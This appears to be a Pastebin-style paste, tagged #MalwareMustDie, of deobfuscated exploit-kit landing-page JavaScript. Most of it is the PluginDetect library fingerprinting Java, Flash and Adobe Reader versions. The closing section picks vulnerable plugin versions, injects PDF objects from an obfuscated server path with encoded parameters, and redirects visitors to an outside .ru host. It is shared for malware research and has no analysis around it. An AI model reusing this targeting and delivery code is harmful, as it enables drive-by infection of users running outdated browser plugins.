  1018. , JavaVersions : [[1, 9, 1, 40], [1, 8, 1, 40], [1, 7, 1, 40], [1, 6, 0, 40], [1,
  1019. 5, 0, 30], [1, 4, 2, 30], [1, 3, 1, 30]], query : function (){
  1020. var a = this , e = a.$, b = a.$$, c = (a.hasRun || a.disabled());
  1021. a.hasRun = 1;
  1022. if (c){
  1023. return a
  1024. }
  1025. var i = [], k = [1, 5, 0, 14], j = [1, 6, 0, 2], h = [1, 3, 1, 0], g = [1, 4, 2,
  1026. 0], f = [1, 5, 0, 7], d = b.getInfo ? true : false, l = {
  1027. }
  1028. ;
  1029. if (b.minIEver <= e.verIE){
  1030. i = a.search(j, j, d);
  1031. if (0 < i.length && d){
  1032. i = a.search(k, k, d)
  1033. }
  1034. }
  1035. else {
  1036. if (d){
  1037. i = a.search(f, f, true)
  1038. }
  1039. if (i.length == 0){
  1040. i = a.search(h, g, false)
  1041. }
  1042. }
  1043. if (i.length){
  1044. a.version = i[0];
  1045. a.VERSIONS = [].concat(i)
  1046. }
  1047. ;
  1048. return a
  1049. }
  1050. , search : function (a, j, p){
  1051. var h, d, f = this , e = f.$, k = f.$$, n, c, l, q, b, o, r, i = [];
  1052. if (0 < e.compareNums(a.join(","), j.join(","))){
  1053. j = a
  1054. }
  1055. j = e.formatNum(j.join(","));
  1056. var m, s = "1,4,2,0", g = "JavaPlugin." + a[0] + "" + a[1] + "" + a[2] + "" + (0
  1057. < a[3] ? ("_" + (a[3] < 10 ? "0" : "") + a[3]) : "");
  1058. for (h = 0; h < f.JavaVersions.length; h ++ ){
  1059. d = f.JavaVersions[h];
  1060. n = "JavaPlugin." + d[0] + "" + d[1];
  1061. b = d[0] + "." + d[1] + ".";
  1062. for (l = d[2];
  1063. l >= 0; l -- ){
  1064. r = "JavaWebStart.isInstalled." + b + l + ".0";
  1065. if (e.compareNums(d[0] + "," + d[1] + "," + l + ",0", j) >= 0 &&! e.getAXO(r
  1066. )){
  1067. continue
  1068. }
  1069. m = 0 > e.compareNums(d[0] + "," + d[1] + "," + l + ",0", s) ? true : false;
  1070. for (q = d[3];
  1071. q >= 0; q -- ){
  1072. c = l + "_" + (q < 10 ? "0" + q : q);
  1073. o = n + c;
  1074. if (e.getAXO(o) && (m || e.getAXO(r))){
  1075. i.push(b + c);
  1076. if (!p){
  1077. return i
  1078. }
  1079. }
  1080. if (o == g){
  1081. return i
  1082. }
  1083. }
  1084. if (e.getAXO(n + l) && (m || e.getAXO(r))){
  1085. i.push(b + l);
  1086. if (!p){
  1087. return i
  1088. }
  1089. }
  1090. if (n + l == g){
  1091. return i
  1092. }
  1093. }
  1094. }
  1095. return i
  1096. }
  1097. }
  1098. , navMime : {
  1099. $ : 1, hasRun : 0, mimetype : "", version : "", length : 0, mimeObj : 0, pluginObj
  1100. : 0, disabled : function (){
  1101. return this .$$.isDisabled.navMime()
  1102. }
  1103. , query : function (){
  1104. var i = this , f = i.$, a = i.$$, b = (i.hasRun || i.disabled());
  1105. i.hasRun = 1;
  1106. if (b){
  1107. return i
  1108. }
  1109. ;
  1110. var n =/^\ s * application \/ x - java - applet;
  1111. jpi - version \ s *=\ s * ( \ d. * )$ / i, g, l, j, d = "", h = "a", o, m, k =
  1112. {
  1113. }
  1114. , c = f.formatNum("0");
  1115. for (l = 0; l < navigator.mimeTypes.length; l ++ ){
  1116. o = navigator.mimeTypes[l];
  1117. m = o ? o.enabledPlugin : 0;
  1118. g = o && n.test(o.type || d) ? f.formatNum(f.getNum(RegExp.$1)) : 0;
  1119. if (g && m && (m.description || m.name)){
  1120. if (!k[h + g]){
  1121. i.length ++
  1122. }
  1123. k[h + g] = o.type;
  1124. if (0 < f.compareNums(g, c)){
  1125. c = g
  1126. }
  1127. }
  1128. }
  1129. g = k[h + c];
  1130. if (g){
  1131. o = f.hasMimeType(g);
  1132. i.mimeObj = o;
  1133. i.pluginObj = o ? o.enabledPlugin : 0;
  1134. i.mimetype = g;
  1135. i.version = c
  1136. }
  1137. ;
  1138. return i
  1139. }
  1140. }
  1141. , navPlugin : {
  1142. $ : 1, hasRun : 0, version : "", disabled : function (){
  1143. return this .$$.isDisabled.navPlugin()
  1144. }
  1145. , query : function (){
  1146. var m = this , e = m.$, c = m.$$, h = c.navigator, j, l, k, g, d, a, i, f = 0, b
  1147. = (m.hasRun || m.disabled());
  1148. m.hasRun = 1;
  1149. if (b){
  1150. return m
  1151. }
  1152. ;
  1153. a = h.pluginObj.name || "";
  1154. i = h.pluginObj.description || "";
  1155. if (!f || c.debug){
  1156. g =/ Java. * TM. * Platform[ ^\ d] * ( \ d + )( ?: [ \ ., _]( \ d * )) ? ( ?:\
  1157. s * [Update] +\ s * ( \ d * )) ?/ i;
  1158. if ((g.test(a) || g.test(i)) && parseInt(RegExp.$1, 10) >= 5){
  1159. f = "1," + RegExp.$1 + "," + (RegExp.$2 ? RegExp.$2 : "0") + "," + (RegExp.
  1160. $3 ? RegExp.$3 : "0")
  1161. }
  1162. }
  1163. if (!f || c.debug){
  1164. g =/ Java[ ^\ d] * Plug - in / i;
  1165. l = g.test(i) ? e.formatNum(e.getNum(i)) : 0;
  1166. k = g.test(a) ? e.formatNum(e.getNum(a)) : 0;
  1167. if (l && (e.compareNums(l, e.formatNum("1,3")) < 0 || e.compareNums(l, e.
  1168. formatNum("2")) >= 0)){
  1169. l = 0
  1170. }
  1171. if (k && (e.compareNums(k, e.formatNum("1,3")) < 0 || e.compareNums(k, e.
  1172. formatNum("2")) >= 0)){
  1173. k = 0
  1174. }
  1175. d = l && k ? (0 < e.compareNums(l, k) ? l : k) : (l || k);
  1176. if (d){
  1177. f = d
  1178. }
  1179. }
  1180. if (!f && e.isSafari && e.OS == 2){
  1181. j = e.findNavPlugin("Java.*\d.*Plug-in.*Cocoa", 0);
  1182. if (j){
  1183. l = e.getNum(j.description);
  1184. if (l){
  1185. f = l
  1186. }
  1187. }
  1188. }
  1189. ;
  1190. if (f){
  1191. m.version = e.formatNum(f)
  1192. }
  1193. ;
  1194. return m
  1195. }
  1196. }
  1197. , lang : {
  1198. $ : 1, System : {
  1199. $ : 1, hasRun : 0, result : [null, null], disabled : function (){
  1200. return this .$$.isDisabled.windowDotJava()
  1201. }
  1202. , getPropertyHas : function (a){
  1203. var b = this , d = b.$, c = b.getProperty()[0];
  1204. return (a && c && d.compareNums(d.formatNum(a), d.formatNum(c)) === 0) ? 1 : 0
  1205. }
  1206. , getProperty : function (){
  1207. var f = this , g = f.$, d = f.$$, i, h = {
  1208. }
  1209. , b = f.hasRun || f.disabled();
  1210. f.hasRun = 1;
  1211. if (!b){
  1212. var a = "java_qqq990";
  1213. g[a] = null;
  1214. try {
  1215. var c = document.createElement("script");
  1216. c.type = "text/javascript";
  1217. c.appendChild(document.createTextNode('
  1218. (function(){var e,a;try{a=[window.java.lang.System.getProperty("java.version")+" ",window.
  1219. java.lang.System.getProperty("java.vendor")+" "]}catch(e){};' + g.name + "." + a +
  1220. "=a||0})();"));
  1221. g.head.insertBefore(c, g.head.firstChild);
  1222. g.head.removeChild(c)
  1223. }
  1224. catch (i){
  1225. }
  1226. if (g[a] && g.isArray(g[a])){
  1227. f.result = [].concat(g[a])
  1228. }
  1229. }
  1230. return f.result
  1231. }
  1232. }
  1233. }
  1234. , applet : {
  1235. $ : 1, results : [[null, null], [null, null], [null, null]], getResult : function
  1236. (){
  1237. var c = this .results, a, b = [];
  1238. for (a = 0; a < c.length; a ++ ){
  1239. b = c[a];
  1240. if (b[0]){
  1241. break
  1242. }
  1243. }
  1244. return [].concat(b)
  1245. }
  1246. , HTML : [0, 0, 0], active : [0, 0, 0], DummyObjTagHTML : 0, DummySpanTagHTML : 0,
  1247. allowed : [1, 1, 1], VerifyTagsHas : function (c){
  1248. var d = this , b;
  1249. for (b = 0; b < d.allowed.length; b ++ ){
  1250. if (d.allowed[b] === c){
  1251. return 1
  1252. }
  1253. }
  1254. return 0
  1255. }
  1256. , saveAsVerifyTagsArray : function (c){
  1257. var b = this , d = b.$, a;
  1258. if (d.isArray(c)){
  1259. for (a = 0; a < b.allowed.length; a ++ ){
  1260. if (d.isNum(c[a])){
  1261. if (0 > c[a]){
  1262. c[a] = 0
  1263. }
  1264. if (c[a] > 3){
  1265. c[a] = 3
  1266. }
  1267. b.allowed[a] = c[a]
  1268. }
  1269. }
  1270. }
  1271. }
  1272. , setVerifyTagsArray : function (d){
  1273. var b = this , c = b.$, a = b.$$;
  1274. if (a.getVersionDone === null){
  1275. b.saveAsVerifyTagsArray(a.getVerifyTagsDefault())
  1276. }
  1277. if (a.debug || (a.verify && a.verify.isEnabled())){
  1278. b.saveAsVerifyTagsArray([3, 3, 3])
  1279. }
  1280. else {
  1281. if (d){
  1282. b.saveAsVerifyTagsArray(d)
  1283. }
  1284. }
  1285. }
  1286. , allDisabled : function (){
  1287. return this .$$.isDisabled.allApplets()
  1288. }
  1289. , isDisabled : function (d){
  1290. var b = this , c = b.$, a = b.$$;
  1291. if (d == 2 &&! c.isIE){
  1292. return 1
  1293. }
  1294. if (d === 0 || d == 2){
  1295. return a.isDisabled.ObjectTag()
  1296. }
  1297. if (d == 1){
  1298. return a.isDisabled.AppletTag()
  1299. }
  1300. }
  1301. , can_Insert_Query : function (b){
  1302. var a = this ;
  1303. if (a.HTML[b]){
  1304. return 0
  1305. }
  1306. return !a.isDisabled(b)
  1307. }
  1308. , can_Insert_Query_Any : function (){
  1309. var b = this , a;
  1310. for (a = 0; a < b.results.length; a ++ ){
  1311. if (b.can_Insert_Query(a)){
  1312. return 1
  1313. }
  1314. }
  1315. return 0
  1316. }
  1317. , should_Insert_Query : function (d){
  1318. var b = this , e = b.allowed, c = b.$, a = b.$$;
  1319. if (!b.can_Insert_Query(d)){
  1320. return 0
  1321. }
  1322. if (e[d] == 3){
  1323. return 1
  1324. }
  1325. if (e[d] == 2.8 &&! b.getResult()[0]){
  1326. return 1
  1327. }
  1328. if (e[d] == 2.5 &&! a.lang.System.getProperty()[0]){
  1329. return 1
  1330. }
  1331. if (e[d] == 2.2 &&! a.lang.System.getProperty()[0] &&! b.getResult()[0]){
  1332. return 1
  1333. }
  1334. if (!a.nonAppletDetectionOk(a.version0)){
  1335. if (e[d] == 2){
  1336. return 1
  1337. }
  1338. if (e[d] == 1 &&! b.getResult()[0]){
  1339. return 1
  1340. }
  1341. }
  1342. return 0
  1343. }
  1344. , should_Insert_Query_Any : function (){
  1345. var b = this , a;
  1346. for (a = 0; a < b.allowed.length; a ++ ){
  1347. if (b.should_Insert_Query(a)){
  1348. return 1
  1349. }
  1350. }
  1351. return 0
  1352. }
  1353. , query : function (f){
  1354. var h, a = this , g = a.$, d = a.$$, i = null, j = null, b = a.results, c;
  1355. if ((b[f][0] && b[f][1]) || (d.debug && d.OTF < 3)){
  1356. return
  1357. }
  1358. c = g.getDOMobj(a.HTML[f], true);
  1359. if (c){
  1360. try {
  1361. i = g.getNum(c.getVersion() + " ");
  1362. j = c.getVendor() + " ";
  1363. c.statusbar(g.winLoaded ? " " : " ")
  1364. }
  1365. catch (h){
  1366. }
  1367. if (i && g.isStrNum(i)){
  1368. b[f] = [i, j]
  1369. }
  1370. else {
  1371. }
  1372. ;
  1373. try {
  1374. if (g.isIE && i && c.readyState != 4){
  1375. g.garbage = true;
  1376. c.parentNode.removeChild(c)
  1377. }
  1378. }
  1379. catch (h){
  1380. }
  1381. }
  1382. }
  1383. , insert_Query_Any : function (){
  1384. var d = this , i = d.$, e = d.$$, l = d.results, p = d.HTML, a =
  1385. "&nbsp;&nbsp;&nbsp;&nbsp;", g = "A.class", m = i.file.getValid(e);
  1386. if (!m){
  1387. return d.getResult()
  1388. }
  1389. if (e.OTF < 1){
  1390. e.OTF = 1
  1391. }
  1392. if (d.allDisabled()){
  1393. return d.getResult()
  1394. }
  1395. if (e.OTF < 1.5){
  1396. e.OTF = 1.5
  1397. }
  1398. var j = m.name + m.ext, h = m.path;
  1399. var f = ["archive", j, "code", g], c = ["mayscript", "true"], o = ["scriptable",
  1400. "true"].concat(c), n = e.navigator, b =! i.isIE && n.mimeObj && n.mimeObj.type ?
  1401. n.mimeObj.type : e.mimeType[0];
  1402. if (d.should_Insert_Query(0)){
  1403. if (e.OTF < 2){
  1404. e.OTF = 2
  1405. }
  1406. ;
  1407. p[0] = i.isIE ? i.insertHTML("object", ["type", b], ["codebase", h].concat(f).
  1408. concat(o), a, e) : i.insertHTML("object", ["type", b], ["codebase", h].concat(
  1409. f).concat(o), a, e);
  1410. l[0] = [0, 0];
  1411. d.query(0)
  1412. }
  1413. if (d.should_Insert_Query(1)){
  1414. if (e.OTF < 2){
  1415. e.OTF = 2
  1416. }
  1417. ;
  1418. p[1] = i.isIE ? i.insertHTML("applet", ["alt", a].concat(c).concat(f), [
  1419. "codebase", h].concat(c), a, e) : i.insertHTML("applet", ["codebase", h, "alt"
  1420. , a].concat(c).concat(f), [].concat(c), a, e);
  1421. l[1] = [0, 0];
  1422. d.query(1)
  1423. }
  1424. if (d.should_Insert_Query(2)){
  1425. if (e.OTF < 2){
  1426. e.OTF = 2
  1427. }
  1428. ;
  1429. p[2] = i.isIE ? i.insertHTML("object", ["classid", e.classID], ["codebase", h
  1430. ].concat(f).concat(o), a, e) : i.insertHTML();
  1431. l[2] = [0, 0];
  1432. d.query(2)
  1433. }
  1434. if (!d.DummyObjTagHTML &&! e.isDisabled.ObjectTag()){
  1435. d.DummyObjTagHTML = i.insertHTML("object", [], [], a)
  1436. }
  1437. if (!d.DummySpanTagHTML){
  1438. d.DummySpanTagHTML = i.insertHTML("", [], [], a)
  1439. }
  1440. ;
  1441. var k = e.NOTF;
  1442. if (e.OTF < 3 && k.shouldContinueQuery()){
  1443. e.OTF = 3;
  1444. k.onIntervalQuery = i.handler(k.$$onIntervalQuery, k);
  1445. if (!i.winLoaded){
  1446. i.WLfuncs0.push([k.winOnLoadQuery, k])
  1447. }
  1448. setTimeout(k.onIntervalQuery, k.intervalLength)
  1449. }
  1450. ;
  1451. return d.getResult()
  1452. }
  1453. }
  1454. , NOTF : {
  1455. $ : 1, count : 0, countMax : 25, intervalLength : 250, shouldContinueQuery :
  1456. function (){
  1457. var e = this , d = e.$, c = e.$$, b = c.applet, a;
  1458. for (a = 0; a < b.results.length; a ++ ){
  1459. if (b.HTML[a] &&! b.results[a][0] && (b.allowed[a] >= 2 || (b.allowed[a] == 1
  1460. &&! b.getResult()[0])) && e.isAppletActive(a) >= 0){
  1461. return 1
  1462. }
  1463. }
  1464. return 0
  1465. }
  1466. , isJavaActive : function (d){
  1467. var f = this , c = f.$$, a, b, e =- 9;
  1468. for (a = 0; a < c.applet.HTML.length; a ++ ){
  1469. b = f.isAppletActive(a, d);
  1470. if (b > e){
  1471. e = b
  1472. }
  1473. }
  1474. return e
  1475. }
  1476. , isAppletActive : function (c, a){
  1477. var d = this , b = d.$$.applet.active;
  1478. if (!a){
  1479. b[c] = d.isAppletActive_(c)
  1480. }
  1481. return b[c]
  1482. }
  1483. , isAppletActive_ : function (d){
  1484. var g = this , f = g.$, b = g.$$, l = b.navigator, a = b.applet, h = a.HTML[d],
  1485. i, k, c = 0, j = f.getTagStatus(h, a.DummySpanTagHTML, a.DummyObjTagHTML, g.
  1486. count);
  1487. if (j ==- 2){
  1488. return - 2
  1489. }
  1490. try {
  1491. if (f.isIE && b.minIEver <= f.verIE && f.getDOMobj(h).object){
  1492. return 1
  1493. }
  1494. }
  1495. catch (i){
  1496. }
  1497. for (k = 0; k < a.active.length; k ++ ){
  1498. if (0 < a.active[k]){
  1499. c = 1
  1500. }
  1501. }
  1502. if (j == 1 && (f.isIE || ((b.version0 && l.javaEnabled() && l.mimeObj && (h.
  1503. tagName == "object" || c)) || b.lang.System.getProperty()[0]))){
  1504. return 1
  1505. }
  1506. if (0 > j){
  1507. return - 1
  1508. }
  1509. return 0
  1510. }
  1511. , winOnLoadQuery : function (c, d){
  1512. var b = d.$$, a;
  1513. if (b.OTF == 3){
  1514. a = d.queryAllApplets();
  1515. d.queryCompleted(a[1], a[2])
  1516. }
  1517. }
  1518. , $$onIntervalQuery : function (d){
  1519. var c = d.$, b = d.$$, a;
  1520. if (b.OTF == 3){
  1521. a = d.queryAllApplets();
  1522. if (!d.shouldContinueQuery() || (c.winLoaded && d.count > d.countMax)){
  1523. d.queryCompleted(a[1], a[2])
  1524. }
  1525. }
  1526. d.count++;
  1527. if (b.OTF == 3){
  1528. setTimeout(d.onIntervalQuery, d.intervalLength)
  1529. }
  1530. }
  1531. , queryAllApplets : function (){
  1532. var g = this , f = g.$, e = g.$$, d = e.applet, b, a, c;
  1533. for (b = 0; b < d.results.length; b ++ ){
  1534. d.query(b)
  1535. }
  1536. a = d.getResult();
  1537. c = a[0] ? true : false;
  1538. return [c, a[0], a[1]]
  1539. }
  1540. , queryCompleted : function (c, f){
  1541. var e = this , d = e.$, b = e.$$;
  1542. if (b.OTF >= 4){
  1543. return
  1544. }
  1545. b.OTF = 4;
  1546. var a = e.isJavaActive();
  1547. b.setPluginStatus(c, f, 0);
  1548. if (b.funcs){
  1549. d.callArray(b.funcs)
  1550. }
  1551. if (d.onDoneEmptyDiv){
  1552. d.onDoneEmptyDiv()
  1553. }
  1554. }
  1555. }
  1556. , zz : 0
  1557. }
  1558. , flash : {
  1559. mimeType : "application/x-shockwave-flash", progID : "ShockwaveFlash.ShockwaveFlash"
  1560. , classID : "clsid:D27CDB6E-AE6D-11CF-96B8-444553540000", getVersion : function (){
  1561. var b = function (i){
  1562. if (!i){
  1563. return null
  1564. }
  1565. var e =/ [ \ d][ \ d \,\ . \ s] * [rRdD]{
  1566. 0, 1
  1567. }
  1568. [ \ d \, ] */ .exec(i);
  1569. return e ? e[0].replace(/[rRdD\.]/g, ",").replace(/\s/g, "") : null
  1570. }
  1571. ;
  1572. var j = this , g = j.$, k, h, l = null, c = null, a = null, f, m, d;
  1573. if (!g.isIE){
  1574. m = g.hasMimeType(j.mimeType);
  1575. if (m){
  1576. f = g.getDOMobj(g.insertHTML("object", ["type", j.mimeType], [], "", j));
  1577. try {
  1578. l = g.getNum(f.GetVariable("$version"))
  1579. }
  1580. catch (k){
  1581. }
  1582. }
  1583. if (!l){
  1584. d = m ? m.enabledPlugin : null;
  1585. if (d && d.description){
  1586. l = b(d.description)
  1587. }
  1588. if (l){
  1589. l = g.getPluginFileVersion(d, l)
  1590. }
  1591. }
  1592. }
  1593. else {
  1594. for (h = 15; h > 2; h -- ){
  1595. c = g.getAXO(j.progID + "." + h);
  1596. if (c){
  1597. a = h.toString();
  1598. break
  1599. }
  1600. }
  1601. if (!c){
  1602. c = g.getAXO(j.progID)
  1603. }
  1604. if (a == "6"){
  1605. try {
  1606. c.AllowScriptAccess = "always"
  1607. }
  1608. catch (k){
  1609. return "6,0,21,0"
  1610. }
  1611. }
  1612. try {
  1613. l = b(c.GetVariable("$version"))
  1614. }
  1615. catch (k){
  1616. }
  1617. if (!l && a){
  1618. l = a
  1619. }
  1620. }
  1621. j.installed = l ? 1 :- 1;
  1622. j.version = g.formatNum(l);
  1623. return true
  1624. }
  1625. }
  1626. , adobereader : {
  1627. mimeType : "application/pdf", navPluginObj : null, progID : ["AcroPDF.PDF",
  1628. "PDF.PdfCtrl"], classID : "clsid:CA8A9780-280D-11CF-A24D-444553540000", INSTALLED :
  1629. {
  1630. }
  1631. , pluginHasMimeType : function (d, c, f){
  1632. var b = this , e = b.$, a;
  1633. for (ain d){
  1634. if (d[a] && d[a].type && d[a].type == c){
  1635. return 1
  1636. }
  1637. }
  1638. if (e.getMimeEnabledPlugin(c, f)){
  1639. return 1
  1640. }
  1641. return 0
  1642. }
  1643. , getVersion : function (l, j){
  1644. var g = this , d = g.$, i, f, m, n, b = null, h = null, k = g.mimeType, a, c;
  1645. if (d.isString(j)){
  1646. j = j.replace(/\s/g, "");
  1647. if (j){
  1648. k = j
  1649. }
  1650. }
  1651. else {
  1652. j = null
  1653. }
  1654. if (d.isDefined(g.INSTALLED[k])){
  1655. g.installed = g.INSTALLED[k];
  1656. return
  1657. }
  1658. if (!d.isIE){
  1659. a = "Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in";
  1660. if (g.getVersionDone !== 0){
  1661. g.getVersionDone = 0;
  1662. b = d.getMimeEnabledPlugin(g.mimeType, a);
  1663. if (!j){
  1664. n = b
  1665. }
  1666. if (!b && d.hasMimeType(g.mimeType)){
  1667. b = d.findNavPlugin(a, 0)
  1668. }
  1669. if (b){
  1670. g.navPluginObj = b;
  1671. h = d.getNum(b.description) || d.getNum(b.name);
  1672. h = d.getPluginFileVersion(b, h);
  1673. if (!h && d.OS == 1){
  1674. if (g.pluginHasMimeType(b, "application/vnd.adobe.pdfxml", a)){
  1675. h = "9"
  1676. }
  1677. else {
  1678. if (g.pluginHasMimeType(b, "application/vnd.adobe.x-mars", a)){
  1679. h = "8"
  1680. }
  1681. }
  1682. }
  1683. }
  1684. }
  1685. else {
  1686. h = g.version
  1687. }
  1688. if (!d.isDefined(n)){
  1689. n = d.getMimeEnabledPlugin(k, a)
  1690. }
  1691. g.installed = n && h ? 1 : (n ? 0 : (g.navPluginObj ?- 0.2 :- 1))
  1692. }
  1693. else {
  1694. b = d.getAXO(g.progID[0]) || d.getAXO(g.progID[1]);
  1695. c =/=\ s * ([ \ d \ .] + ) / g;
  1696. try {
  1697. f = (b || d.getDOMobj(d.insertHTML("object", ["classid", g.classID], ["src",
  1698. ""], "", g))).GetVersions();
  1699. for (m = 0; m < 5; m ++ ){
  1700. if (c.test(f) && (!h || h < RegExp.$1)){
  1701. h = RegExp.$1
  1702. }
  1703. }
  1704. }
  1705. catch (i){
  1706. }
  1707. g.installed = h ? 1 : (b ? 0 :- 1)
  1708. }
  1709. if (!g.version){
  1710. g.version = d.formatNum(h)
  1711. }
  1712. g.INSTALLED[k] = g.installed
  1713. }
  1714. }
  1715. , zz : 0
  1716. }
  1717. }
  1718. ;
  1719. PluginDetect.initScript();
  1720. PluginDetect.getVersion(".");
  1721. var $$ = PluginDetect;
  1722. function x(s){
  1723. d = [];
  1724. for (i = 0; i < s.length; i ++ ){
  1725. k = (s.charCodeAt(i)).toString(33);
  1726. d.push(k);
  1727. }
  1728. ;
  1729. return d.join(":");
  1730. }
  1731. end_redirect = function (){
  1732. window.location.href = 'http://medicsepa.ru/';
  1733. }
  1734. ;
  1735. function j1(){
  1736. return true;
  1737. }
  1738. function j2(){
  1739. return true;
  1740. }
  1741. function p1(){
  1742. var d = document.createElement("object");
  1743. d.setAttribute("data", "/closest/209tuj2dsljdglsgjwrigslgkjskga.php?xdibj=" + x("c833f")
  1744. + "&ecbodyd=" + x("kxg") + "&sjcr=30:33:1n:1m:1h:33:30:1o:30:1h&kww=" + x(pdfver.join(
  1745. ".")));
  1746. d.setAttribute("type", "application/pdf");
  1747. document.body.appendChild(d);
  1748. }
  1749. function p2(){
  1750. var d = document.createElement("object");
  1751. d.setAttribute("data", "/closest/209tuj2dsljdglsgjwrigslgkjskga.php?ycfxjsu=" + x(
  1752. "c833f") + "&iiuhc=" + x("l") + "&etyxhy=30:33:1n:1m:1h:33:30:1o:30:1h&dwimohi=" + x(
  1753. pdfver.join(".")));
  1754. d.setAttribute("type", "application/pdf");
  1755. document.body.appendChild(d);
  1756. }
  1757. function p3(){
  1758. return false;
  1759. }
  1760. function f1(){
  1761. return false;
  1762. }
  1763. function ff2(){
  1764. return false;
  1765. }
  1766. document.write('');
  1767. setTimeout(end_redirect, 61000);
  1768. var pdfver = [];
  1769. function svwrbew6436b($){
  1770. var ar = [];
  1771. var javax = ($.getVersion("Ja" + "va") + ".").toString()["split"](".");
  1772. if ($.isMinVersion("Ja" + "va") >= 0 && ((javax[0] == 1 && javax[1] == 7 && javax[3] < 9
  1773. ))){
  1774. ar["push"](j2);
  1775. }
  1776. else if ($.isMinVersion("Ja" + "va") >= 0 && ((javax[0] == 1 && javax[1] == 6 && javax[3
  1777. ] < 33) || (javax[0] == 1 && javax[1] < 6))){
  1778. ar["push"](j1);
  1779. }
  1780. pdfver = PluginDetect.getVersion("AdobeReader");
  1781. if (window.document)if (typeof pdfver == "string"){
  1782. pdfver = pdfver["split"](".")
  1783. }
  1784. else {
  1785. pdfver = [0, 0, 0, 0]
  1786. }
  1787. if (pdfver[0] > 0 && pdfver[0] < 8){
  1788. if (window.document)ar["push"](p1);
  1789. }
  1790. if (pdfver[0] > 0){
  1791. ar["push"](p3);
  1792. }
  1793. if (((pdfver[0] == 9) && (pdfver[1] >= 3)) || ((pdfver[0] == 10) && (pdfver[1] < 103)))
  1794. {
  1795. }
  1796. else {
  1797. if (window.document && (pdfver[0] == 8 || (pdfver[0] == 9 && pdfver[1] < 4))){
  1798. ar["push"](p2);
  1799. }
  1800. }
  1801. var ver = ($$.getVersion("Flash") + ".").toString()["split"](".");
  1802. if (((ver[0] == 10 && ver[1] == 0 && ver[2] > 40) || (window.document && (ver[0] == 10 &&
  1803. ver[1] > 0) && (ver[0] == 10 && ver[1] < 2))) || window.document && ((ver[0] == 10 &&
  1804. ver[1] == 2 && ver[2] < 159) || (ver[0] == 10 && ver[1] < 2))){
  1805. ar["push"](ff2);
  1806. }
  1807. if ((ver[0] == 10 && ver[1] == 3 && ver[2] == 181 && ver[3] <= 23) || (ver[0] == 10 &&
  1808. ver[1] == 3 && ver[2] < 181)){
  1809. ar["push"](f1);
  1810. }
  1811. var arcalli = 0;
  1812. var arcall = function (){
  1813. if (ar.length <= arcalli)return 123;
  1814. ss = setTimeout;
  1815. var res = ar[arcalli]();
  1816. arcalli++;
  1817. if (res && window.document){
  1818. ss(function (){
  1819. arcall()
  1820. }
  1821. , 5509);
  1822. }
  1823. else {
  1824. arcall();
  1825. }
  1826. }
  1827. ;
  1828. arcall();
  1829. }
  1830. $$["onDetec" + "tionDone"]("Ja" + "va", svwrbew6436b, "../mix/getJavaInfo.jar");
  1831.  
  1832. ----
  1833. #MalwareMustDie
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement